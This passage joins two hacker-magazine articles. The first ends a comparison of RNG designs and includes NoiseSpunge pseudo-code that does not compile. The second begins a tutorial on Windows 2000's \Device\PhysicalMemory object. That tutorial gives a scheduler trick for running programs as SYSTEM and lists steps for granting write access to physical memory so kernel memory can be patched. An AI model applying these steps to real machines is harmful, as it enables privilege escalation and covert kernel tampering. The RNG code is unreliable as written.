Entropy estimation is straight forward. The worst case scenario is assumed with each input. Only 4bits are gathered for every mouse capture. No further estimations are done because they would only yield results 4bits or greater. Entropy estimation for the supplementary function that allows the programmer to supply his own entropy requires the programmer to guarrantee his entropy is of good quality; estimation of this input’s entropy is left in his hands.

2.1.3) NoiseSpunge Entropy Pool

The internal state comprises 762bit. There is a 256bit seed, a 256bit primary hash, and a 256bit secondary hash. 256bit Haval is used as the hashing function. When a 32bit block of entropy is added, it is appended to a 256bit buffer. Once the buffer is full the primary hash is updated with it. The seed is XORed with The primary hash’s output unless this is the 8th primary reseed. In that case, the primary hash’s output is input into the secondary hash and that hash’s output is permuted (see bellow) and replaces the seed. Seed permutation is accomplished by an expansion-compression. 32bit words of the seed are fed as a PRNG’s random seed and used to output two 32bit words. All 512bits of the PRNG’s output are hashed and replace the pool’s seed. After every primary reseed, a KeyReserve counter is incremented and capped at 8. The KeyReserve reperesents the number of 256bit groups of entropy that have been added to the internal state. This KeyReserve is a rough estimate of when there is no longer any purpose to adding entropy into the pool and the entropy gathering thread can be paused (until the RNG outputs).

2.1.4) NoiseSpunge Output Function

There are 2 methods provided for the RNG’s output: safe and forced. A safe output makes sure the KeyReserve is not zeroed and decrements it after output. A forced output ignores the KeyReserve. To output, the seed is copied to a temporary buffer and is then permuted. The new seed is used a key to initialize Rijndael (symmetric block cipher). The temporary buffer is encrypted with Rijndael and then permuted with an expansion-compression (the same way the seed is). This is repeated for N rounds (chosen by the programmer) and the buffer is then output.

2.1.5) NoiseSpunge Analysis

[1] The heavy relyance upon mouse movement could _starve_ the entropy pool if the mouse is not in use for an extended period of time. However, a counter prevents output when entropy is low.

[2] The programmer could forcefully input poor quality entropy and weaken the RNG’s internal state.

[3] There are no provisions for systems without high-resolution timers.

[4] Even though the pool’s internal state is 762bits long, there is a maximum of 256bits of entropy at any state. (The other bits are only there to prevent back-tracking and to obfuscate the seed). That makes this RNG only suitable when small amounts of secure random data are needed.

2.2) Intel RNG’s Design
Information Source: Intel Random Number Generator White Paper *1

2.2.0) Intel RNG Overview

The Intel RNG is system-wide. It is designed to provide good quality random data in massive quantities to any software that requires it. It’s average throughput is 75Kb/s (bits). The Intel Security Driver provides a bridge between the middleware (CDSA, RSA-BSAFE, and Microsoft CryptoAPI) that will serve out the random numbers to requesting applications and the hardware. The hardware portion is in Intel’s 810 chipset, and will be in the 82802 Firmware Hub Device for all future 8xx chipsets.

{WARNING: these are some of my personal opinions; take them with a grain of salt}
Intel has chosen to eloquantly label its RNG as a TRNG (True Random Number Generator), but then they go on to call it an RNG through the rest of the paper. Thechnicaly there is no fundamental difference that sets it asside from any other good RNG; it is a label for hype and has nothing to do with its ability to produce random numbers (RNG==TRNG & TRNG==RNG). As for your daily dose of corporate assurance: "The output of Intel RNG has completed post-design validation with Cryptography Research Inc. (CRI) and the Federal Information Processing (FIPS) Level 3 test for statistical randomness (FIPS 140-1)." I find it reassuring that a company (CRI) has analyzed and is supporting this RNG. That isn't something you see very often. On the other hand FIPS140-1 is just another hype generator. After reading FIPS140-1, one realises it has absolutely NOTHING to do with the quality of the RNG, but hey! Who cares? Microsoft seems to think it's good enough to use in their family of _high_quality_and_security_ products, so it must be great. All kidding asside, despite the corporate stench, this RNG is well designed and will prevent many RNG blunders such as Netscape's. I think this is a step in the right direction. Rather than letting Joe, Timmy his cousin, and Timmy's best friend's friend design their own RNGs, they provide a good solution for everyone without having them trip on their own feet like Netscape did.

2.2.1) Intel RNG Entropy Gathering

Intel's Random Number Generator is to be integrated into PC motherboards. There are 2 resistors and 2 oscillators (one slow, the other fast). The voltage difference between the 2 resistors is amplified to sample thermal noise. This noise source is used to modulate the slow clock. This clock with variable modulation is used to set intervals between measurements of the fast clock. When the interval is triggered the frequency of the fast clock is then filtered through what Intel calls the von Neumann corrector (patent pending). The corrector compensates for the fast clocks bias towards staying in fixed bit states (regardless of the slow clock's variable modulation). It works by comparring pairs of bits and outputing only one or no bits ([1,0]=0; [0,1]=1; [0,0]or[1,1]=no output;). The output of the corrector is grouped in 32bit blocks and sent to the Intel Security Driver.

2.2.2) Intel RNG Entropy Estimation

No estimations are done for a few reasons. Because the entropy source is hardware based, it cannot be manipulated unless it is put into temperatures far beyond or bellow resonable ambient conditions, or the computer's power is cut off (in which case the entropy gathering stops). Beyond that, all entropy is gathered in the same way and can be assumed of identical quality.

2.2.3) Intel RNG Entropy Pool

The Intel Security Driver takes care of mixing the RNG's output. The pool is composed of 512bits of an SHA-1 hash contexts divided into two states. An 80bit hash of the first state is generated and appended with 32 bits of entropy (from the hardware) and the first 160bits from the first state to create the second state. When another 32bits of entropy are generated, the second state becomes the first state and the same process is repeated.

2.2.4) Intel RNG Output Function

The last 16bits of the 80bit hash of the first state are output to the middleware. The Intel Security Driver ensures that each output is dispatched only once. If desired, additional processing of the output will have to be done by the program that requested the random data.

2.2.5) Intel RNG Analysis

[1] The need to implement the von Neumann corrector is demonstration of the RNG's affinity for repetitive sequences. An attacker could calculate when 1s or 0s are disproportionatly output by estimating it's throughput in bits/sec, but this doesn't lead to any feasable attacks (yet).

[2] The use of contracted middleware may lead to security holes. Before using a company's middleware, you may want to wait a few months just to see if a quick break is released.

2.3) Linux' /dev/random's Design
Information Source: /dev/random source code *2

2.3.0) /dev/random Overview

Linux provides the /dev/random character device as an interface for applications to recieve random data with good quality entropy. It provides a gernourously sized entropy pool (512 bytes) to accomodate the operating system and all software running on it. When quality entropy is not necessary, a second character device /dev/urandom is provided as a PRNG to avoid wastefully depleting /dev/random's entropy pool.

2.3.1) /dev/random Entropy Gathering

External functions from the kernel trigger the addition of entropy into the pool. Events that trigger this are key presses, mouse movement, and IRQs. Uppon each trigger, 32bits of a high-frequency timer are copied, and another 32bits are derrived depending on the type of trigger (either the mouse coordinates, keybaord scancode, or IRQ number).

2.3.2) /dev/random Entropy Estimation

Entropy estimation is calculated with the help of three deltas. Delta1 is the time elapsed since the last trigger of its type occured. Delta2 is the difference between Delta1 and the previous Delta1. Delta3 is the difference between Delta2 and the previous Delta2. The smallest of the three deltas calculated is chosen as Delta. The least significant bit of Delta is ignored and the next 12bits are used to increment the entropy counter.

2.3.3) /dev/random Entropy Pool

This RNG uses an entropy pool of 4096bits. Prior to input, a marker denoting the current position along the pool is decremented by 2 32bit words. If the position is 0, the position is wrapped around backwards to the second last 32bit word. Entropy is added in two 32bit words: x & y. A variable, j determines how many bits to the left the entropy should be rotated. Before entropy is added, j is incremented by 14 (7 if the pool is in position 0). Entropy is rotated by j. Depending on the current position along the pool, y is XORed with 5 other fixed portions of the pool (the following positions are wrapped around from the current position: 103,76, 51,25,1 (for a 4096bit pool) and x is XORed with each next word. x is shifted to the right 3bits, XORed by a constant within a 1x7 table (0, 0x3b6e20c8, 0x76dc4190, 0x4db26158, 0xedb88320, 0xd6d6a3e8, 0x9b64c2b0, 0xa00ae278) the index of which is chosen by x AND 7 (bitwise, 3bits). x XOR y is then appended to the pool skipping one word. y is shifted to the right 3bits, XORed with the constant table the same way x was and then copied into the word that was skipped in the pool. The pool remains at this position (previous position - 2, possibly wrapped around the end).

2.3.4) /dev/random Output Function

When output is requested from the RNG, the timer and the number of bytes requested is added to the pool as entropy. The pool is then hashed with SHA-1 and the first 2 words of the hash are fed as entropy into the pool; this is repeated 8 times, but each time the next 2 words of the hash are fed into the pool. The first half of the final hash is then XORed to its second half to produce the output. The output is either the requested size or 20 bytes (half the hash size); the smallest of these is chosen.

2.3.5) Linux' /dev/random Analysis

[1] Monitoring and predicting of some IRQs is possible in a networked environment.

[2] There is allot of redundancy in the lower 16bits of the entropy added. For example, when a keypress occurs a 32bit variable holds 16bits from a high-resolution timer, and the lower 16 bits are 0-255 for the keypress (256+ are used to designate interupts). This leaves 8bits of redundancy for every keypress.

[3] The time elapsed since the last block of entropy was added is usually irrelevent to the quality of the entropy, unless that lapse is very short. This doesn't take into account sequencial entropy entries like continuous disk access while moving a file.

[4] When output occurs, the mixing mechanism re-enters allot of hashed entropy which may or may not be of good quality. These re-entered words are added to the entropy count but should not. They are bits of entropy that have already been counted. After output, 512bits of entropy are redundantly entered. If this estimate is accurate, then after 8 calls to output there are 4096bits (the entire pool) of entropy of undifinable quality. Under these circumstances, if no entropy is input from user-interacting during the calls, the RNG becomes a PRNG.

2.4) Yarrow's Design

information sources: Yarrow source code and White Papers *3,*4

2.4.0) Yarrow Overview

Yarrow is designed by Bruce Schneier, auther of Applied Cryptography and designer of block ciphers Blowfish and AES finalist Twofish. Yarrow is Schneier's interpretation of the proper design of an RNG and is accompanied by a detailed paper descibing its inner-workings and analysis (see the second information source). It is the product of lengthy research and sets standard in properties expected to be found in a secure RNG. It is discussed here for comparisson between commonly trusted RNGs and one designed by a seasoned proffessional.

2.4.1) Yarrow Entropy Gathering

System hooks wait for keyboard or mouse events. If a key has been pressed, the time elapsed since the last key-press is appended to an array. The same is done when a mouse button has been pressed. If the mouse has moved, the x and y coordinates are appended to a mouse movement array. Once an array is full is is passed to the entropy estimation function.

2.4.2) Yarrow Entropy Estimation

The entropy estimation function is passed an estimated number of bits of entropy chosen by the programmer's bias towards it's source. One could decide that that mouse movement only represents 4 bits of entropy per movement, while keyboard latency is worth 8bits per key-press. Another measurement uses a small compression algorithm and measures the compressed size. The third and last measurement is half the size of the entropy sample. The smallest of these three measurements increments the entropy estimate.

2.4.3) Yarrow Entropy Pool

When entropy is input, it is fed into a fast pool (SHA-1 context) and an entropy estimate is updated for that pool. Once the pool has accumulated 100bits of entropy, the hash output of this pool is fed into the slow pool and its entropy estimate is updated. When the slow pool has accumulated 160bits of entropy it's hash output becomes the current key.

2.4.4) Yarrow Output Function

When output is required, the current key (derived from the slow pool) encrypts a counter (its number of bits is chosen by the programmer) and outputs the ciphertext; the counter is then incremented. After 10 outputs, the RNG reseeds the key by replacing it with another (forced) output. The key will next be reseeded either when the slow pool has accumulated 160bits or 10 outputs have occured.

2.4.5) Yarrow Analysis

[1] Mouse movement on its own is very redundant, there is a very limited range of motion between the last postion and the current position after the OS has sent the message that the mouse has moved. Most of the bits representing the mouse's position are unlikely to change and throw-off the entropy estimates in this RNG.

[2] Even though the pool's internal state is 320+n+kbits long, there is a maximum of 160bits of entropy during any state. "Yarrow-160, our current construction, is limited to at most 160 bits of security by the size of its entropy accumulation pools." *4

----| 3) NoiseSpunge Source Code

The Following source code is simply a brief example. Do whatever you want with it; even that thing you do with your tongue and the rubber ... never mind. It _WILL_NOT_COMPILE_ because about 1,200 lines have been omitted, consisting of Haval, Rijndael and the PRNG). Haval and Rijndael source code is readily available. Any PRNG will do, but make sure it works with 32bit inputs and outputs and has a period of at least 2^32 (4294967296). I've devided it into 3 chunks: entropy gathering, entropy pool, output functions.

[ENTROPY GATHERING]

This loop must run on a thread independent of the application's main thread. For OS dependancies, I've created dummy functions that should be replaced:

```
int64 CounterFreq; //high-res counter's frequency/second
int64 QueryCounter; //high-res counter's current value
Delay(int ms); //1 milisecond precision delay
int GetMouseX; //current mouse x coordinate
int GetMouseY; // " y coordinate

#define MOUSE_INTERVAL 10

{
 Prng_CTX PCtx;
 int x,y;
 unsigned long Block;
 unsigned long BitsGathered;
 int65 Interval,Frequency,ThisTime,LastTime;

 unsigned long BitsGathered=0;
 bool Idled=false;
 Frequency=CounterFreq;
 bool Terminated=false; //Set value to true to end the loop
 do
 {
    if (Idled==false)
    {
       Delay(MOUSE_INTERVAL);
       Idled=true;
    }
    ThisTime=QueryCounter;
    if ((ThisTime-LastTime)>Interval)
    {
       if ((x!=GetMouseX)&&(y!=GetMouseY)
       {
          x=mouse.cursorpos.x;
          y=mouse.cursorpos.y;
          Block|=((x^y^ThisTime)& 15)<<BitsGathered;
          BitsGathered+=4;
          if (BitsGathered==32)
          {
             PrngInit(&PCtx,Block);
             AddEntropy(Block); //this function is defined lower
             Block=0;
             BitsGathered=0;
          }
          Interval=((((Prng(@PCtx)%MOUSE_INTERVAL)>>2)+MOUSE_INTERVAL)
             * Frequency)/1000;
       }
       LastTime=QueryCounter;
       Idled=false;
    }
 } while (Terminated==false);
}

[ENTROPY POOL]

#define SEED_SIZE 8
#define PRIMARY_RESEED 8
#define SECONDARY_RESEED 8

//parameters
#define MAX_KEY_RESERVE 8
#define KEY_BUILD_ROUNDS 16

typedef unsigned long Key256[SEED_SIZE];

Key256 Seed;
Key256 EntropyBuffer;
Haval_CTX PrimaryPool;
Haval_CTX SecondaryPool;
unsigned char PrimaryReseedCount;
unsigned char EntropyCount;
unsigned char KeyReserve;

//FUNCTIONS
void NoiseSpungeInit
{
 HavalInit(&PrimaryPool);
 HavalInit(&SecondaryPool);
 for (int i=0;i<8;i++) Seed[i]=0;
 EntropyCount=0;
 PrimaryReseedCount=0;
 KeyReserve=0;
}

void PermuteSeed
{
 Key256 TempBuffer[2];
 Prng_CTX PCtx;
 Haval_CTX HCtx;

 for (int i=0;i<SEED_SIZE;i++) //expand
 {
    PrngInit(&PCtx,Seed[i]);
    TempBuffer[0][i]=Prng(&PCtx);
    TempBuffer[1][i]=Prng(&PCtx);
 }

 HavalInit(&HCtx);
 HavalUpdate(&HCtx,&TempBuffer,64); //compress
 HavalOutput(&HCtx,&Seed);
}

void PrimaryReseed
{
 Key256 TempSeed;
 HavalUpdate(&PrimaryPool,&EntropyBuffer,32);

 if (PrimaryReseedCount<SECONDARY_RESEED)
 {
    HavalOutput(&PrimaryPool,&TempSeed);
    for (int i=0;i<SEED_SIZE;i++) Seed[i]^=TempSeed[i];
    PrimaryReseedCount++;
 } else SecondaryReseed;

 for (int i=0;i<SEED_SIZE;i++) EntropyBuffer[i]=0;
 if (KeyReserve<MAX_KEY_RESERVE) KeyReserve++;
 EntropyCount=0;
}

void SecondaryReseed
{
 HavalOutput(&PrimaryPool,&Seed);
 HavalUpdate(&SecondaryPool,&Seed,32);
 HavalOutput(&SecondaryPool,&Seed);
 PermuteSeed;
 HavalInit(&PrimaryPool);
 PrimaryReseedCount=0;
}

void AddEntropy(unsigned long Block)
{
 EntropyBuffer[EntropyCount++]=Block;
 if (EntropyCount==PRIMARY_RESEED) PrimaryReseed;
}

[OUTPUT FUNCTIONS]

int SafeGetKey(Key256 *Key)
{
 Key256 TempSeed;
 Key256 TempBuffer[2];
 Rijndael_CTX RCtx;
 Prng_CTX PCtx;
 Haval_CTX HCtx;

 if (KeyReserve==0) Return 0;

 for (int i=0;i<SEED_SIZE;i++) TempSeed[i]=Seed[i];
 PermuteSeed;
 RijndaelInit(&RCtx,&Seed);
 for (int i=0;i<KEY_BUILD_ROUNDS;i++)
 {
    RijndaelEncrypt(&RCtx,&TempSeed[0]); //encrypt
    RijndaelEncrypt(&RCtx,&TempSeed[4]);
    for (int j=0;j<SEED_SIZE;j++) //expand
    {
       PrngInit(&pctx,TempSeed[j]);
       TempBuffer[0,j]=Prng(&PCtx);
       TempBuffer[1,j]=Prng(&PCtx);
    }
    HavalInit(&HCtx);
    HavalUpdate(&HCtx,&TempBuffer,64);
    HavalOutput(&HCtx,&TempSeed);
 }
 for (int i=0;i<SEED_SIZE;i++) Key[i]=TempSeed[i];
 if (KeyReserve>0) KeyReserve--;
 Return 1;
}

void ForcedGetKey(Key256 *Key)
{
 Key256 TempSeed;
 Key256 TempBuffer[2];
 Rijndael_CTX RCtx;
 Prng_CTX PCtx;
 Haval_CTX HCtx;

 for (int i=0;i<SEED_SIZE;i++) TempSeed[i]=Seed[i];
 PermuteSeed;
 RijndaelInit(&RCtx,&Seed);
 for (int i=0;i<KEY_BUILD_ROUNDS;i++)
 {
    RijndaelEncrypt(&RCtx,&TempSeed[0]); //encrypt
    RijndaelEncrypt(&RCtx,&TempSeed[4]);
    for (int j=0;j<SEED_SIZE;j++) //expand
    {
       PrngInit(&pctx,TempSeed[j]);
       TempBuffer[0,j]=Prng(&PCtx);
       TempBuffer[1,j]=Prng(&PCtx);
    }
    HavalInit(&HCtx);
    HavalUpdate(&HCtx,&TempBuffer,64);
    HavalOutput(&HCtx,&TempSeed);
 }
 for (int i=0;i<SEED_SIZE;i++) Key[i]=TempSeed[i];
 if (KeyReserve>0) KeyReserve--;
}
```

----| 4) References

*1 Intel Random Number Generator White Paper
  http://developer.intel.com/design/security/rng/CRIwp.htm

*2 /dev/random source code
  http://www.openpgp.net/random/

*3 Yarrow source code
  http://www.counterpane.com/Yarrow0.8.71.zip

*4 Yarrow-160: Notes on the Design and Analysis of the Yarrow
  Cryptographic Pseudorandom Number Generator
  http://www.counterpane.com/yarrow-notes.html

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x10 of 0x12

```
|=----------------=[ Playing with Windows /dev/(k)mem ]=-----------------=|
|=-----------------------------------------------------------------------=|
|=---------------=[ crazylord <crazylord@minithins.net> ]=---------------=|
```

--[1 - Introduction

This papers covers an approch to Windows /dev/kmem linux like object. My research has been done on a Windows 2000 professional version that means that most of the code supplied with the article should work with all Windows 2000 version and is supposed to work with Windows XP with little code modification.
Windows 9x/Me are clearly not supported as they are not based on the same kernel architecture.

--[2 - Introduction to Windows Objects

Windows 2000 implements an object models to provide a way of easy manipulating the most basic elements of the kernel. We will briefly see in this chapter what are these objects and how we can manipulate them.

----[2.1 What are they ?

According to Microsoft, the object manager was designed to meet these goals

- use named object for easy recognition
- support POSIX subsystem
- provide a easy way for manipulating system resources
- provide a charge mechanism to limit resource used by a process
- be C2 security compliant :) (C2: Controlled Access Protection)

There are 27 differents objects types:

* Adapter
* Callback
* Controler
* Desktop
* Device
* Directory
* Driver
* Event
* EventPair
* File
* IoCompletion
* Job
* Key
* Mutant
* Port
* Process
* Profile
* Section
* Semaphore
* SymbolicLink
* Thread
* Timer
* Token
* Type
* WaitablePort
* WindowStation
* WmiGuid

Most of these names are explicit enough to understand what's they are about. I will just explain some obscure names:

* an EventPair is just a couple of 2 Event objects.
* a Mutant also called Mutex is a synchronization mechanism for resource access.
* a Port is used by the LPC (Local Procedure Call) for Inter-Processus Communication.
* a Section (file mapping) is a region of shared memory.
* a Semaphore is a counter that limit access to a resource.
* a Token (Access Token) is the security profile of an object.
* a WindowStation is a container object for desktop objects.

Objects are organised into a directory structure which looks like this:

```
   - \
     - ArcName                  (symbolic links to harddisk partitions)
     - NLS                      (sections ...)
     - Driver                   (installed drivers)
     - WmiGuid
     - Device                   (/dev linux like)
       - DmControl
         - RawDmVolumes
       - HarddiskDmVolumes
         - PhysicalDmVolumes
     - Windows
       - WindowStations
     - RPC Control
     - BaseNamedObjects
       - Restricted
     - ??                       (current user directory)
     - FileSystem               (information about installable files system)
     - ObjectTypes              (contains all avaible object types)
     - Security
     - Callback
     - KnownDlls                (Contains sections of most used DLL)
```

The "??" directory is the directory for the current user and "Device" could be assimiled as the "/dev" directory on Linux. You can explore these structures using WinObj downloadable on Sysinternals web sites (see [1]).

----[2.2 Their structure

Each object is composed of 2 parts: the object header and the object body. Sven B. Schreiber defined most of the non-documented header related structures in his book "Windows 2000 Undocumented Secrets". Let's see the header structure.

```
---
from w2k_def.h:

typedef struct _OBJECT_HEADER {
/*000*/ DWORD        PointerCount;       // number of references
/*004*/ DWORD        HandleCount;        // number of open handles
/*008*/ POBJECT_TYPE ObjectType;         // pointer to object type struct
/*00C*/ BYTE         NameOffset;         // OBJECT_NAME offset
/*00D*/ BYTE         HandleDBOffset;     // OBJECT_HANDLE_DB offset
/*00E*/ BYTE         QuotaChargesOffset; // OBJECT_QUOTA_CHARGES offset
/*00F*/ BYTE         ObjectFlags;        // OB_FLAG_*
/*010*/ union
        { // OB_FLAG_CREATE_INFO ? ObjectCreateInfo : QuotaBlock
/*010*/    PQUOTA_BLOCK        QuotaBlock;
/*010*/    POBJECT_CREATE_INFO ObjectCreateInfo;
        };
/*014*/ PSECURITY_DESCRIPTOR SecurityDescriptor;
/*018*/ } OBJECT_HEADER, *POBJECT_HEADER;
---
```

Each offset in the header are negative offset so if you want to find the OBJECT_NAME structure from the header structure, you calculate it by doing:

```
             address = object_header_address - name_offset
```

OBJECT_NAME structure allows the creator to make the object visible to other processes by giving it a name.
OBJECT_HANDLE_DB structure allows the kernel to track who is currently using this object.
OBJECT_QUOTA_CHARGES structure defines the resource charges levied against a process when accessing this object.
The OBJECT_TYPE structure stocks global informations about the object type like default security access, size of the object, default charge levied to process using an object of this type, ...

A security descriptor is bound to the object so the kernel can restrict access to the object.

Each object type have internal routines quite similar to C++ object constructors and destructors:

```
   * dump method       - maybe for debugging purpose (always NULL)
   * open method       - called when an object handle is opened
   * close method      - called when an object handle is closed
   * delete method     - called when an object is deleted
   * parse method      - called when searching an object in a list of
                         object
   * security method   - called when reading/writing a protection for the
                         current object
   * query name method - called when a thread request the name of the
                         object
   * "ok to close"     - called when a thread is closing a handle
```

The object body structure totally depends on the object type.
A very few object body structure are documented in the DDK. If you are interested in these structures you may google :) or take a look at chapeaux-noirs home page in the kernel_reversing section (see [4]).

---- [2.3 Object manipulation

On the user-mode point of view, objects manipulation is done through the standart Windows API. For example, in order to access a file object you can use fopen()/open() which will call CreateFile(). At this point, we switch to kernel-mode (NtCreateFile()) which call IoCreateFile() in ntoskrnl.exe. As you can see, we still don't know we are manipulating an "object". By disassembling IoCreateFile(), you will see some function like ObOpenObjectByName, ObfDereferenceObject, ...

(By the way you will only see such functions if you have win2k symbols downloadable on Microsoft DDK web site (see [2]) and disassemblingbwith a disassembler supporting Windows Symbols files like IDA/kd/Softicevbecause these functions are not exported.)

Each function's name begining with "Ob" is related to the Object Manager. So basically, a standart developper don't have to deal with object but we want to.

All the object manager related function for user-mode are exported by ntdll.dll. Here are some examples:
NtCreateDirectoryObject, NtCreateSymbolicLinkObject, NtDuplicateObject,
NtMakeTemporaryObject, NtOpenDirectoryObject, ...
Some of these functions are documented in the MSDN some (most ?) are not.

If you really want to understand the way object works you should better take a look at the exported function of ntoskrnl.exe beginning with "Ob". 21 functions exported and 6 documented =]

If you want the prototypes of the 15 others, go on the ntifs.h home page (see [3]) or to chapeaux-noirs web site (see [4]).

--[3 - Introduction to \Device\PhysicalMemory

As far as i know, \Device\PhysicalMemory object was discovered by Mark Russinovich from Sysinternals (see [1]). He coded the first code using it : Physmem avaible on his site. Enough greeting :), now we will try to understand what is this object used for and what we can do with it.

----[3.1 - the object

In order to look at the object information, we are going to need a tool like the Microsoft Kernel Debugger avaible in the Microsoft DDK (see [2]). Ok let’s start working ...

```
Microsoft(R) Windows 2000 Kernel Debugger
Version 5.00.2184.1
Copyright (C) Microsoft Corp. 1981-1999

Symbol search path is: c:\winnt\symbols

Loading Dump File [livekd.dmp]
Full Kernel Dump File

Kernel Version 2195 UP Free
Kernel base = 0x80400000 PsLoadedModuleList = 0x8046a4c0
Loaded kdextx86 extension DLL
Loaded userkdx extension DLL
Loaded dbghelp extension DLL
f1919231 eb30             jmp     f1919263
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
```

The basic object parser from kd (kernel debugger) tells us some information about it. No need to explain all of these field means, most of them are explicit enough if you have readen the article from the beginning if not "jmp dword Introduction_to_Windows_Objects".
Ok the interesting thing is that it’s a Section type object so that clearly mean that we are going to deal with some memory related toy.

Now let’s dump the object’s header structure.

```
kd> dd e1001228 L 6
dd e1001228 L 6
e1001228  00000003 00000000 fd038880 12200010
e1001238  00000001 e1008bf8
```

```
details:
--> 00000003 : PointerCount = 3
--> 00000000 : HandleCount  = 0
--> fd038880 : pointer to object type = 0xfd038880
--> 12200010 --> 10 : NameOffset
```

```
             --> 00 : HandleDBOffset
             --> 20 : QuotaChargeOffset
             --> 12 : ObjectFlags = OB_FLAG_PERMANENT & OB_FLAG_KERNEL_MODE
--> 00000001 : QuotaBlock
--> e1008bf8 : SecurityDescriptor
```

Ok the NameOffset exists, well no surprise, this object has a name .. but the HandleDBOffset don't. That means that the object doesnt track handle assigned to it. The QuotaChargeOffset isn't really interesting and the ObjectFlags tell us that this object is permanent and has been created by the kernel.
For now nothing very interesting ...

We dump the object's name structure just to be sure we are not going the wrong way :). (Remember that offset are negative).

```
kd> dd e1001228-10 L3
dd e1001228-10 L3
e1001218  fd038970 001c001c e1008ae8

--> fd038970 : pointer to object Directory
--> 001c001c --> 001c : UNICODE_STRING.Length
             --> 001c : UNICODE_STRING.MaximumLength
--> e1008ae8 : UNICODE_STRING.Buffer (pointer to wide char string)

kd> du e1008ae8
du e1008ae8
e1008ae8  "PhysicalMemory"
```

Ok now, let's look at the interesting part, the security descriptor:

```
kd> !sd e1008bf8
!sd e1008bf8
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x44
->Dacl    : ->AceCount   : 0x2
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x14
->Dacl    : ->Ace[0]: ->Mask : 0x000f001f
->Dacl    : ->Ace[0]: ->SID: S-1-5-18

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x18
->Dacl    : ->Ace[1]: ->Mask : 0x0002000d
->Dacl    : ->Ace[1]: ->SID: S-1-5-32-544

->Sacl    :  is NULL
```

In other words that means that the \Device\PhysicalMemory object has this following rights:

```
user SYSTEM: Delete, Change Permissions, Change Owner, Query Data,
             Query State, Modify State
user Administrator: Query Data, Query State
```

So basically, user Administrator as no right to Write here but user

SYSTEM do, so that mean that Administrator does too.

You have to notice that in fact THIS IS NOT LIKE /dev/kmem !!
/dev/kmem maps virtual memory on Linux, \Device\PhysicalMemory maps
physical memory, the right title for this article should be "Playing with
Windows /dev/mem" as /dev/mem maps physical memory but /dev/kmem sounds
better and much more wellknown :).
As far as i know the Section object body structure hasn't been yet reversed
as i'm writing the article so we can't analyze it's body.

----[3.2 need writing access ?

Ok .. we are user administrator and we want to play with our favourite
Object, what can we do ? As most Windows administrators should know it is
possible to run any process as user SYSTEM using the schedule service.
If you want to be sure that you can, just start the schedule with
"net start schedule" and then try add a task that launch regedit.exe
c:\>at <when> /interactive regedit.exe
After that try to look at the SAM registry key, if you can, you are user
SYSTEM otherwise you are still administrator since only user SYSTEM has
reading rights.

Ok that's fine if we are user Administrator but what's up if we want to
allow somebody/everyone to write to \Device\PhysicalMemory
(for learning purpose off course).
We just have to add another ACL (access-control list) to this object.
To do this you have to follow these steps:

```
   1) Open a handle to \Device\PhysicalMemory (NtOpenSection)
   2) Retrieve the security descriptor of it (GetSecurityInfo)
   3) Add Read/Write authorization to the current ACL (SetEntriesInAcl)
   4) Update the security descriptor (SetSecurityInfo)
   5) Close the handle previously opened
```

see chmod_mem.c sample code.

After having run chmod_mem.exe we dump another time the security descriptor
 of \Device\PhysicalMemory.

```
kd> !object \Device\PhysicalMemory
!object \Device\PhysicalMemory
Object: e1001240  Type: (fd038880) Section
    ObjectHeader: e1001228
    HandleCount: 0  PointerCount: 3
    Directory Object: fd038970  Name: PhysicalMemory
kd> dd e1001228+0x14 L1
dd e1001228+0x14 L1
e100123c  e226e018
kd> !sd e226e018
!sd e226e018
->Revision: 0x1
->Sbz1    : 0x0
->Control : 0x8004
            SE_DACL_PRESENT
            SE_SELF_RELATIVE
->Owner   : S-1-5-32-544
->Group   : S-1-5-18
->Dacl    :
->Dacl    : ->AclRevision: 0x2
->Dacl    : ->Sbz1       : 0x0
->Dacl    : ->AclSize    : 0x68
->Dacl    : ->AceCount   : 0x3
->Dacl    : ->Sbz2       : 0x0
->Dacl    : ->Ace[0]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[0]: ->AceFlags: 0x0
->Dacl    : ->Ace[0]: ->AceSize: 0x24
->Dacl    : ->Ace[0]: ->Mask : 0x00000002
```

```
->Dacl    : ->Ace[0]: ->SID: S-1-5-21-1935655697-436374069-1060284298-500

->Dacl    : ->Ace[1]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[1]: ->AceFlags: 0x0
->Dacl    : ->Ace[1]: ->AceSize: 0x14
->Dacl    : ->Ace[1]: ->Mask : 0x000f001f
->Dacl    : ->Ace[1]: ->SID: S-1-5-18

->Dacl    : ->Ace[2]: ->AceType: ACCESS_ALLOWED_ACE_TYPE
->Dacl    : ->Ace[2]: ->AceFlags: 0x0
->Dacl    : ->Ace[2]: ->AceSize: 0x18
->Dacl    : ->Ace[2]: ->Mask : 0x0002000d
->Dacl    : ->Ace[2]: ->SID: S-1-5-32-544

->Sacl    :  is NULL
```

Our new Ace (access-control entry) is Ace[0] with a 0x00000002
(SECTION_MAP_WRITE) right.
For more information about Security win32 API see MSDN ([9]).

--[4 - Having fun with \Device\PhysicalMemory

Why playing with \Device\PhysicalMemory ? reading, writing, patching memory i would say. That should be enough :)

----[4.1 Reading/Writing to memory

Ok let's start playing...
In order to read/write to \Device\PhysicalMemory, you have do this way:

```
   1) Open a Handle to the object (NtOpenSection)
   2) Translate the virtual address into a physical address
   3) Map the section to a memory space (NtMapViewOfSection)
   4) Read/Write data where the memory has been mapped
   5) Unmap the section (NtUnmapViewOfSection)
   6) Close the object's Handle (NtClose)
```

Our main problem for now is how to translate the virtual address to a physical address. We know that in kernel-mode (ring0), there is a function called MmGetPhysicalAddress exported by ntoskrnl.exe which do that.
But we are in ring3 so we have to "emulate" such function.

```
---
